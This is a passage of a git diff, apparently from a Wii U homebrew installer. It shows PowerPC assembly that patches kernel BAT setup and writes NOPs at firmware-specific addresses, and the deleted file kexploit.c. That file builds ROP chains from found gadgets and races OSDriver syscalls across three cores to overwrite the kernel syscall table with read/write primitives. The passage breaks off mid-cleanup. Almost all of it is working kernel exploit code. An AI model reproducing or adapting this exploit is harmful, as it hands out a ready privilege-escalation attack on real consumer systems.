BAT_SETUP_HOOK_ADDR 0xFFF1A440 - - #define BAT_SET_NOP_ADDR_1 0xFFF066FC - #define BAT_SET_NOP_ADDR_2 0xFFF06788 - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF1A528 - #define BAT_SET_NOP_ADDR_6 0xFFF1A544 - //define BAT_SET_NOP_ADDR_7 not present in 400 - - #define BAT_SET_NOP_ADDR_8 0xFFEE0F50 - #define BAT_SET_NOP_ADDR_9 0xFFEE0F54 -#elif (VER == 310) - #define BAT_SETUP_HOOK_ADDR 0xFFF19EC4 - - #define BAT_SET_NOP_ADDR_1 0xFFF06590 - #define BAT_SET_NOP_ADDR_2 0xFFF0661C - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF19FAC - #define BAT_SET_NOP_ADDR_6 0xFFF19FC8 -// #define BAT_SET_NOP_ADDR_7 not present in 3.1.0 - - #define BAT_SET_NOP_ADDR_8 0xFFEE0FB0 - #define BAT_SET_NOP_ADDR_9 0xFFEE0FB4 -#elif (VER == 300) - #define BAT_SETUP_HOOK_ADDR 0xFFF19E2C - - #define BAT_SET_NOP_ADDR_1 0xFFF06590 - #define BAT_SET_NOP_ADDR_2 0xFFF0661C - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF19F14 - #define BAT_SET_NOP_ADDR_6 0xFFF19F30 -// #define BAT_SET_NOP_ADDR_7 not present in 3.0.x - - #define BAT_SET_NOP_ADDR_8 0xFFEE0DB8 - #define BAT_SET_NOP_ADDR_9 0xFFEE0DBC -#else - #error Please define valid values for kernel setup. -#endif - -#ifdef USE_SD_LOADER - #define BAT_SETUP_HOOK_ENTRY 0x00800000 -#else - #define BAT_SETUP_HOOK_ENTRY (0x00800000 + 0x2000) -#endif - -#define BAT4U_VAL 0x008000FF -#if VER >= 410 - #define BAT4L_VAL 0x30800012 -#elif VER <= 400 - #define BAT4L_VAL 0x4E800012 -#else - #error Please define valid value for firmware setup. -#endif - -#define SET_R4_TO_ADDR(addr) \ - lis r3, addr@h ; \ - ori r3, r3, addr@l ; \ - stw r4, 0(r3) ; \ - dcbf 0, r3 ; \ - icbi 0, r3 ; - - .globl SC_0x25_KernelCopyData -SC_0x25_KernelCopyData: - li r0, 0x2500 - sc - blr - - .globl Syscall_0x36 -Syscall_0x36: - li r0, 0x3600 - sc - blr - - .globl KernelPatches -KernelPatches: - # store the old DBAT0 - mfdbatu r5, 0 - mfdbatl r6, 0 - - # memory barrier - eieio - isync - - # setup DBAT0 for access to kernel code memory - lis r3, 0xFFF0 - ori r3, r3, 0x0002 - mtdbatu 0, r3 - lis r3, 0xFFF0 - ori r3, r3, 0x0032 - mtdbatl 0, r3 - - # memory barrier - eieio - isync - - # SaveAndResetDataBATs_And_SRs hook setup, but could be any BAT function though - # just chosen because its simple - lis r3, BAT_SETUP_HOOK_ADDR@h - ori r3, r3, BAT_SETUP_HOOK_ADDR@l - - # make the kernel setup our section in IBAT4 and - # jump to our function to restore the replaced instructions - lis r4, 0x3ce0 # lis r7, BAT4L_VAL@h - ori r4, r4, BAT4L_VAL@h - stw r4, 0x00(r3) - lis r4, 0x60e7 # ori r7, r7, BAT4L_VAL@l - ori r4, r4, BAT4L_VAL@l - stw r4, 0x04(r3) - lis r4, 0x7cf1 # mtspr 561, r7 - ori r4, r4, 0x8ba6 - stw r4, 0x08(r3) - lis r4, 0x3ce0 # lis r7, BAT4U_VAL@h - ori r4, r4, BAT4U_VAL@h - stw r4, 0x0C(r3) - lis r4, 0x60e7 # ori r7, r7, BAT4U_VAL@l - ori r4, r4, BAT4U_VAL@l - stw r4, 0x10(r3) - lis r4, 0x7cf0 # mtspr 560, r7 - ori r4, r4, 0x8ba6 - stw r4, 0x14(r3) - lis r4, 0x7c00 # eieio - ori r4, r4, 0x06ac - stw r4, 0x18(r3) - lis r4, 0x4c00 # isync - ori r4, r4, 0x012c - stw r4, 0x1C(r3) - lis r4, 0x7ce8 # mflr r7 - ori r4, r4, 0x02a6 - stw r4, 0x20(r3) - lis r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@h # bla BAT_SETUP_HOOK_ENTRY - ori r4, r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@l - stw r4, 0x24(r3) - - # flush and invalidate the replaced instructions - lis r3, (BAT_SETUP_HOOK_ADDR & ~31)@h - ori r3, r3, (BAT_SETUP_HOOK_ADDR & ~31)@l - dcbf 0, r3 - icbi 0, r3 - lis r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@h - ori r3, r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@l - dcbf 0, r3 - icbi 0, r3 - sync - - # setup IBAT4 for core 1 at this position (not really required but wont hurt) - # IBATL 4 - lis r3, BAT4L_VAL@h - ori r3, r3, BAT4L_VAL@l - mtspr 561, r3 - - # IBATU 4 - lis r3, BAT4U_VAL@h - ori r3, r3, BAT4U_VAL@l - mtspr 560, r3 - - # memory barrier - eieio - isync - - # write "nop" to some positions - lis r4, 0x6000 - # nop on IBATU 4 and DBAT 5 set/reset -#ifdef BAT_SET_NOP_ADDR_1 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_1) -#endif -#ifdef BAT_SET_NOP_ADDR_2 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_2) -#endif -#ifdef BAT_SET_NOP_ADDR_3 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_3) -#endif -#ifdef BAT_SET_NOP_ADDR_4 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_4) -#endif -#ifdef BAT_SET_NOP_ADDR_5 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_5) -#endif -#ifdef BAT_SET_NOP_ADDR_6 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_6) -#endif -#ifdef BAT_SET_NOP_ADDR_7 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_7) -#endif - -#if (defined(BAT_SET_NOP_ADDR_8) && defined(BAT_SET_NOP_ADDR_9)) - # memory barrier - eieio - isync - - # setup DBAT0 for access to kernel code memory - lis r3, 0xFFEE - ori r3, r3, 0x0002 - mtdbatu 0, r3 - lis r3, 0xFFEE - ori r3, r3, 0x0032 - mtdbatl 0, r3 - - # memory barrier - eieio - isync - - # write "nop" to some positions - lis r4, 0x6000 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_8) - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_9) -#endif - - # memory barrier - eieio - isync - - # restore DBAT 0 and return from interrupt - mtdbatu 0, r5 - mtdbatl 0, r6 - - # memory barrier - eieio - isync - - blr - diff --git a/installer/kexploit.c b/installer/kexploit.c deleted file mode 100644 index 97c0c9c..0000000 --- a/installer/kexploit.c +++ /dev/null @@ -1,770 +0,0 @@ -#include "kexploit.h" - -void wait(unsigned int coreinit_handle, unsigned int t); -void doBrowserShutdown(unsigned int coreinit_handle); -void setupOSScreen(unsigned int coreinit_handle); -void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos); -void exitOSScreen(unsigned int coreinit_handle); -void callSysExit(unsigned int coreinit_handle, void *sysFunc); - -#if (VER >= 532) -/* Initial setup code stolen from Pong, makes race much more reliable */ -void run_kexploit(private_data_t *private_data) -{ - /* Get a handle to coreinit.rpl and gx2.rpl */ - unsigned int coreinit_handle = private_data->coreinit_handle; - unsigned int gx2_handle = 0; - OSDynLoad_Acquire("gx2.rpl", &gx2_handle); - - //needed to not destroy screen - doBrowserShutdown(coreinit_handle); - - /* Exit functions */ - void (*__PPCExit)(); - void (*_Exit)(int); - OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit); - OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit); - - /* Memory functions */ - void (*DCFlushRange)(void *buffer, uint32_t length); - void (*DCInvalidateRange)(void *buffer, uint32_t length); - void (*DCTouchRange)(void *buffer, uint32_t length); - uint32_t (*OSEffectiveToPhysical)(void *vaddr); - void* (*OSAllocFromSystem)(uint32_t size, int align); - void (*OSFreeToSystem)(void *ptr); - OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); - OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange); - OSDynLoad_FindExport(coreinit_handle, 0, "DCTouchRange", &DCTouchRange); - OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &OSEffectiveToPhysical); - OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); - OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); - - /* OS thread functions */ - bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int priority, uint16_t attr); - int (*OSResumeThread)(void *thread); - void (*OSExitThread)(); - int (*OSIsThreadTerminated)(void *thread); - void (*OSYieldThread)(void); - - OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated); - OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread); - - /* OSDriver functions */ - uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020}; - uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit); - uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020}; - uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit); - uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020}; - uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit); - uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020}; - uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit); - - /* GX2 functions */ - void (*GX2SetSemaphore)(uint64_t *sem, int action); - void (*GX2Flush)(void); - OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", &GX2SetSemaphore); - OSDynLoad_FindExport(gx2_handle, 0, "GX2Flush", &GX2Flush); - - /* Allocate space for DRVHAX */ - uint32_t *drvhax = OSAllocFromSystem(0x4c, 4); - - /* Set the kernel heap metadata entry */ - uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE)); - metadata[0] = (uint32_t)drvhax; - metadata[1] = (uint32_t)-0x4c; - metadata[2] = (uint32_t)-1; - metadata[3] = (uint32_t)-1; - - /* Find some gadgets */ - uint32_t gx2data[] = {0xfc2a0000}; - uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000); - uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020}; - uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, 0x01000000); - uint32_t r30r31load[] = {0x80010014, 0x83e1000c, 0x7c0803a6, 0x83c10008, 0x38210010, 0x4e800020}; - uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, 0x01000000); - uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024}; - uint32_t doflush_addr = (uint32_t) find_gadget(doflush, 0x2C, 0x01000000) + 0x14 + 0x18; - - /* Modify a next ptr on the heap */ - uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET; - - /* Make a thread to modify the semaphore */ - OSContext *thread = (OSContext*)private_data->MEMAllocFromDefaultHeapEx(0x1000, 8); - uint32_t *stack = (uint32_t*)private_data->MEMAllocFromDefaultHeapEx(0xA0, 0x20); - if (!OSCreateThread(thread, (void*)0x11a1dd8, 0, NULL, ((uint32_t)stack) + 0xA0, 0xA0, 0, 0x1 | 0x8)) OSFatal("Failed to create thread"); - - /* Set up the ROP chain */ - thread->gpr[1] = (uint32_t)stack; - thread->gpr[3] = kpaddr; - thread->gpr[30] = gx2data_addr; - thread->gpr[31] = 1; - thread->srr0 = ((uint32_t)GX2SetSemaphore) + 0x2C; - - stack[0x24/4] = r30r31load_addr; /* Load r30/r31 - stack=0x20 */ - stack[0x28/4] = gx2data_addr; /* r30 = GX2 data area */ - stack[0x2c/4] = 1; /* r31 = 1 (signal) */ - - stack[0x34/4] = r3r4load_addr; /* Load r3/r4 - stack=0x30 */ - stack[0x38/4] = kpaddr; - - stack[0x44/4] = ((uint32_t)GX2SetSemaphore) + 0x2C; /* GX2SetSemaphore() - stack=0x40 */ - - stack[0x64/4] = r30r31load_addr; /* Load r30/r31 - stack=0x60 */ - stack[0x68/4] = 0x100; /* r30 = r3 of do_flush = 0x100 */ - stack[0x6c/4] = 1; /* r31 = r4 of do_flush = 1 */ - - stack[0x74/4] = doflush_addr; /* do_flush() - stack=0x70 */ - - stack[0x94/4] = (uint32_t)OSExitThread; - - DCFlushRange(thread, 0x1000); - DCFlushRange(stack, 0x1000); - - /* Start the thread */ - OSResumeThread(thread); - - /* Wait for a while */ - while(OSIsThreadTerminated(thread) == 0) - { - OSYieldThread(); - } - - /* Free stuff */ - private_data->MEMFreeToDefaultHeap(thread); - private_data->MEMFreeToDefaultHeap(stack); - - /* Register a new OSDriver, DRVHAX */ - char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'}; - Register(drvname, 6, NULL, NULL); - - /* Modify its save area to point to the kernel syscall table */ - drvhax[0x44/4] = KERN_SYSCALL_TBL + (0x34 * 4); - - /* Use DRVHAX to install the read and write syscalls */ - uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE}; - CopyToSaveArea(drvname, 6, syscalls, 8); - - /* Clean up the heap and driver list so we can exit */ - kern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0); - kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]); - - /* Modify the kernel address table and exit */ - //kern_write(KERN_ADDRESS_TBL + 0x12, 0x31000000); - //kern_write(KERN_ADDRESS_TBL + 0x13, 0x28305800); -} - -#else -typedef struct -{ - char *drvb_name; - void *copy_payload; - void *thread0; - void *thread2; - uint32_t *rop0; - uint32_t *rop2; - - void (*OSYieldThread)(void); - int32_t (*OSResumeThread)(void * thread); - uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length); -} thread_data_container_t; - -static void thread_callback(int argc, void *argv) -{ - thread_data_container_t *container = (thread_data_container_t*)argv; - - container->OSYieldThread(); - - /* Schedule both threads for execution */ - container->OSResumeThread(container->thread0); - container->OSResumeThread(container->thread2); - - /* Signal the CPU0 and CPU2 threads to begin */ - container->rop0[0x1fc/4] = 0; - container->rop2[0x1ac/4] = 0; - - container->OSYieldThread(); - - container->CopyToSaveArea(container->drvb_name, 4, container->copy_payload, 0x1000); -} - - -/* Initial setup code stolen from Pong, makes race much more reliable */ -void run_kexploit(private_data_t *private_data) -{ - unsigned int coreinit_handle, sysapp_handle; - OSDynLoad_Acquire("coreinit", &coreinit_handle); - OSDynLoad_Acquire("sysapp", &sysapp_handle); - //needed to not destroy screen - doBrowserShutdown(coreinit_handle); - //prints out first message as well - setupOSScreen(coreinit_handle); - - if(KERN_SYSCALL_TBL == 0) - { - printOSScreenMsg(coreinit_handle, "Your kernel version has not been implemented yet.",1); - wait(coreinit_handle, 0x3FFFF); - exitOSScreen(coreinit_handle); - } - - //OS Memory functions - void*(*memset)(void *dest, uint32_t value, uint32_t bytes); - void*(*memcpy)(void *dest, void *src, uint32_t length); - void*(*OSAllocFromSystem)(uint32_t size, int align); - void (*OSFreeToSystem)(void *ptr); - void (*DCFlushRange)(void *buffer, uint32_t length); - void (*DCInvalidateRange)(void *buffer, uint32_t length); - void (*ICInvalidateRange)(void *buffer, uint32_t length); - - /* OS thread functions */ - bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr); - int32_t (*OSResumeThread)(void *thread); - int32_t (*OSGetThreadPriority)(void *thread); - void * (*OSGetCurrentThread)(void); - void (*OSYieldThread)(void); - int (*OSIsThreadTerminated)(void *thread); - - /* Exit functions */ - void (*__PPCExit)(); - void (*_Exit)(); - - int(*SYSSwitchToBrowser)(void *args); - int(*SYSLaunchSettings)(void *args); - - /* Read the addresses of the functions */ - OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset); - OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &memcpy); - OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); - OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); - OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); - OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange); - OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &ICInvalidateRange); - - OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSGetThreadPriority", &OSGetThreadPriority); - OSDynLoad_FindExport(coreinit_handle, 0, "OSGetCurrentThread", &OSGetCurrentThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated); - - OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit); - OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit); - - OSDynLoad_FindExport(sysapp_handle, 0, "SYSSwitchToBrowser", &SYSSwitchToBrowser); - OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchSettings", &SYSLaunchSettings); - - /* Allocate a stack for the threads */ - uint32_t stack0 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20); - uint32_t stack2 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20); - uint32_t stack1 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20); - - /* Create the threads */ - void *thread0 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8); - bool ret0 = OSCreateThread(thread0, _Exit, 0, NULL, stack0 + 0x300, 0x300, 0, 1 | 0x10 | 8); - void *thread2 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8); - bool ret2 = OSCreateThread(thread2, _Exit, 0, NULL, stack2 + 0x300, 0x300, 0, 4 | 0x10 | 8); - void *thread1 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8); - if (ret0 == false || ret2 == false) - { - printOSScreenMsg(coreinit_handle, "Failed to create threads! Please try again.",1); - wait(coreinit_handle, 0x3FFFF); - exitOSScreen(coreinit_handle); - } - - printOSScreenMsg(coreinit_handle, "Running Exploit...",1); - - /* Find a bunch of gadgets */ - uint32_t sleep_addr; - OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &sleep_addr); - sleep_addr += 0x44; - uint32_t sigwait[] = {0x801F0000, 0x7C0903A6, 0x4E800421, 0x83FF0004, 0x2C1F0000, 0x4082FFEC, 0x80010014, 0x83E1000C, 0x7C0803A6, 0x38210010, 0x4E800020}; - uint32_t sigwait_addr = (uint32_t) find_gadget(sigwait, 0x2c, (uint32_t) __PPCExit); - uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020}; - uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, (uint32_t) __PPCExit); - uint32_t r5load[] = {0x80A10008, 0x38210010, 0x7CA32B78, 0x80810004, 0x7C8803A6, 0x4E800020}; - uint32_t r5load_addr = (uint32_t) find_gadget(r5load, 0x18, (uint32_t) __PPCExit); - uint32_t r6load[] = {0x80C10014, 0x90610010, 0x80010010, 0x915E002C, 0x81210008, 0x901E0030, 0x913E0028, 0x90DE0034, 0x80010034, 0x83E1002C, 0x7C0803A6, 0x83C10028, 0x38210030, 0x4E800020}; - uint32_t r6load_addr = (uint32_t) find_gadget(r6load, 0x38, (uint32_t) __PPCExit); - uint32_t r30r31load[] = {0x80010034, 0x83E1002C, 0x7C0803A6, 0x83C10028, 0x38210030, 0x4E800020}; - uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, (uint32_t) __PPCExit); - - /* Find the OSDriver functions */ - uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020}; - uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit); - uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020}; - uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit); - uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020}; - uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit); - uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020}; - uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit); - - /* Set up the ROP chain for CPU0 */ - OSContext *ctx0 = (OSContext*) thread0; - uint32_t *rop0 = (uint32_t*) stack0; - ctx0->gpr[1] = stack0 + 0x80; - ctx0->gpr[28] = 0; - ctx0->gpr[29] = CPU0_WAIT_TIME * 2; - ctx0->gpr[31] = stack0 + 0x1f8; - ctx0->srr0 = sigwait_addr + 0xc; - rop0[0x94/4] = sleep_addr; - rop0[0x114/4] = r3r4load_addr; - rop0[0x118/4] = stack0 + 0x208; - rop0[0x11c/4] = 4; - rop0[0x124/4] = r30r31load_addr; - rop0[0x14c/4] = stack0 + 0x220; - rop0[0x154/4] = sigwait_addr; - rop0[0x164/4] = r5load_addr; - rop0[0x168/4] = stack0 + 0x218; - rop0[0x174/4] = r3r4load_addr; - rop0[0x178/4] = stack0 + 0x210; - rop0[0x17c/4] = 4; - rop0[0x184/4] = r30r31load_addr; - rop0[0x1a8/4] = stack0 + 0x230; - rop0[0x1b4/4] = r6load_addr; - rop0[0x1c4/4] = stack0 + 0x21c; - rop0[0x1dc/4] = stack0 + 0x228; - rop0[0x1e4/4] = sigwait_addr; - rop0[0x1f4/4] = sigwait_addr + 0x28; - rop0[0x1f8/4] = sigwait_addr + 0xc; - rop0[0x1fc/4] = stack0 + 0x1f8; - rop0[0x200/4] = 0; - rop0[0x204/4] = 0; - rop0[0x208/4] = 0x44525642; - rop0[0x20c/4] = 0; - rop0[0x210/4] = 0x44525643; - rop0[0x214/4] = 0; - rop0[0x218/4] = 0; - rop0[0x21c/4] = 0; - rop0[0x220/4] = (uint32_t)Deregister; - rop0[0x224/4] = 0; - rop0[0x228/4] = (uint32_t)Register; - rop0[0x22c/4] = 0; - - /* Set up the ROP chain for CPU2 */ - OSContext *ctx2 = (OSContext*) thread2; - uint32_t *rop2 = (uint32_t*) stack2; - ctx2->gpr[1] = stack2 + 0x80; - ctx2->gpr[28] = 0; - ctx2->gpr[29] = CPU2_WAIT_TIME * 4; - ctx2->gpr[31] = stack2 + 0x1a8; - ctx2->srr0 = sigwait_addr + 0xc; - rop2[0x94/4] = sleep_addr; - rop2[0x114/4] = r5load_addr; - rop2[0x118/4] = stack2 + 0x204; - rop2[0x124/4] = r3r4load_addr; - rop2[0x128/4] = stack2 + 0x1b8; - rop2[0x12c/4] = 4; - rop2[0x134/4] = r30r31load_addr; - rop2[0x158/4] = stack2 + 0x1c8; - rop2[0x164/4] = r6load_addr; - rop2[0x174/4] = 4; - rop2[0x18c/4] = stack2 + 0x1c0; - rop2[0x194/4] = sigwait_addr; - rop2[0x1a4/4] = sigwait_addr + 0x28; - rop2[0x1a8/4] = sigwait_addr + 0xc; - rop2[0x1ac/4] = stack2 + 0x1a8; - rop2[0x1b0/4] = 0; - rop2[0x1b4/4] = 0; - rop2[0x1b8/4] = 0x44525641; - rop2[0x1bc/4] = 0; - rop2[0x1c0/4] = (uint32_t)CopyToSaveArea; - rop2[0x1c4/4] = 0; - rop2[0x204/4] = 0xDEADC0DE; - - /* Register driver A and driver B */ - char *drva_name = private_data->MEMAllocFromDefaultHeapEx(8, 4); - memcpy(drva_name, "DRVA", 5); - char *drvb_name = private_data->MEMAllocFromDefaultHeapEx(8, 4); - memcpy(drvb_name, "DRVB", 5); - uint32_t status = Register(drva_name, 4, NULL, NULL) | Register(drvb_name, 4, NULL, NULL); - if (status != 0) - { - printOSScreenMsg(coreinit_handle, "Register() of driver A and B failed! Reloading kernel...",2); - wait(coreinit_handle, 0x3FFFF); - callSysExit(coreinit_handle,SYSLaunchSettings); - exitOSScreen(coreinit_handle); - } - - /* Generate the copy payload, which writes to syscall_table[0x34] */ - uint32_t *copy_payload = OSAllocFromSystem(0x1000, 0x20); - if (!copy_payload) - { - printOSScreenMsg(coreinit_handle, "Failed to allocate payload! Reloading kernel...",2); - wait(coreinit_handle, 0x3FFFF); - callSysExit(coreinit_handle,SYSLaunchSettings); - exitOSScreen(coreinit_handle); - } - copy_payload[0] = 0x01234567; - copy_payload[0xfb4/4] = 0x44525648; - copy_payload[0xfb8/4] = 0x41580000; - copy_payload[0xff4/4] = PFID_BROWSER; - copy_payload[0xff8/4] = KERN_SYSCALL_TBL + (0x34 * 4); - DCFlushRange(copy_payload, 0x1000); - DCInvalidateRange(copy_payload, 0x1000); - - char *drvhax_name = private_data->MEMAllocFromDefaultHeapEx(8, 4); - drvhax_name[7] = 0; - memcpy(drvhax_name, "DRVHAX", 7); - uint32_t *syscalls = private_data->MEMAllocFromDefaultHeapEx(8, 4); - syscalls[0] = KERN_CODE_READ; - syscalls[1] = KERN_CODE_WRITE; - - /* Do a dummy copy to put CopyToSaveArea() in our cache */ - CopyToSaveArea(drvb_name, 4, (void*)0xC0000004, 4); - - thread_data_container_t container; - container.drvb_name = drvb_name; - container.copy_payload = copy_payload; - container.rop0 = rop0; - container.rop2 = rop2; - container.thread0 = thread0; - container.thread2 = thread2; - container.OSResumeThread = OSResumeThread; - container.OSYieldThread = OSYieldThread; - container.CopyToSaveArea = CopyToSaveArea; - - bool ret3 = OSCreateThread(thread1, thread_callback, 1, &container, stack1 + 0x300, 0x300, OSGetThreadPriority(OSGetCurrentThread()), 2 | 0x10 | 8); - - OSYieldThread(); - /* Schedule both threads for execution */ - //OSResumeThread(thread0); - //OSResumeThread(thread2); - OSResumeThread(thread1); - - - /* Signal the CPU0 and CPU2 threads to begin */ - //rop2[0x1ac/4] = 0; - //rop0[0x1fc/4] = 0; - - /* Start copying the payload into driver B's save area */ - //CopyToSaveArea(drvb_name, 4, copy_payload, 0x1000); - - /* The amount of instructions in this loop and the sleep ticks of the other cores can decide whether its a success or not */ - while(OSIsThreadTerminated(thread1) == 0) - { - asm volatile ( - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - ); - - OSYieldThread(); - } - - /* Use DRVHAX to install the read and write syscalls */ - status = CopyToSaveArea(drvhax_name, 6, syscalls, 8); - - /* Verify that the syscalls were installed */ - uint32_t result = 42; - status = CopyFromSaveArea(drvhax_name, 6, &result, 4); - if (result != KERN_CODE_READ) - { - printOSScreenMsg(coreinit_handle, "Race attack failed! Reloading kernel...",2); - wait(coreinit_handle, 0x3FFFF); - callSysExit(coreinit_handle,SYSLaunchSettings); - exitOSScreen(coreinit_handle); - } - - /* Search the kernel heap for DRVA and DRVHAX */ - uint32_t drva_addr = 0, drvhax_addr = 0; - uint32_t metadata_addr = KERN_HEAP + 0x14 + (kern_read((void*)(KERN_HEAP + 0x0c)) * 0x10); - while (metadata_addr >= KERN_HEAP + 0x14) - { - /* Read the data address from the metadata, then read the data */ - uint32_t data_addr = kern_read((void*)metadata_addr); - uint32_t data = kern_read((void*)data_addr); - - /* Check for DRVA or DRVHAX, and if both are found, break */ - if (data == 0x44525641) drva_addr = data_addr; - else if (data == 0x44525648) drvhax_addr = data_addr; - if (drva_addr && drvhax_addr) break; - - /* Go to the previous metadata entry */ - metadata_addr -= 0x10; - } - if (!(drva_addr && drvhax_addr)) - { - printOSScreenMsg(coreinit_handle, "Failed to find DRVA or DRVHAX! Reloading kernel...",2); - wait(coreinit_handle, 0x3FFFF); - callSysExit(coreinit_handle,SYSLaunchSettings); - exitOSScreen(coreinit_handle); - } - /* Make DRVHAX point to DRVA to ensure a clean exit */ - kern_write((void*)(drvhax_addr + 0x48), drva_addr); - - private_data->MEMFreeToDefaultHeap(thread0); - private_data->MEMFreeToDefaultHeap(thread1); - private_data->MEMFreeToDefaultHeap(thread2); - private_data->MEMFreeToDefaultHeap((void*)stack0); - private_data->MEMFreeToDefaultHeap((void*)stack1); - 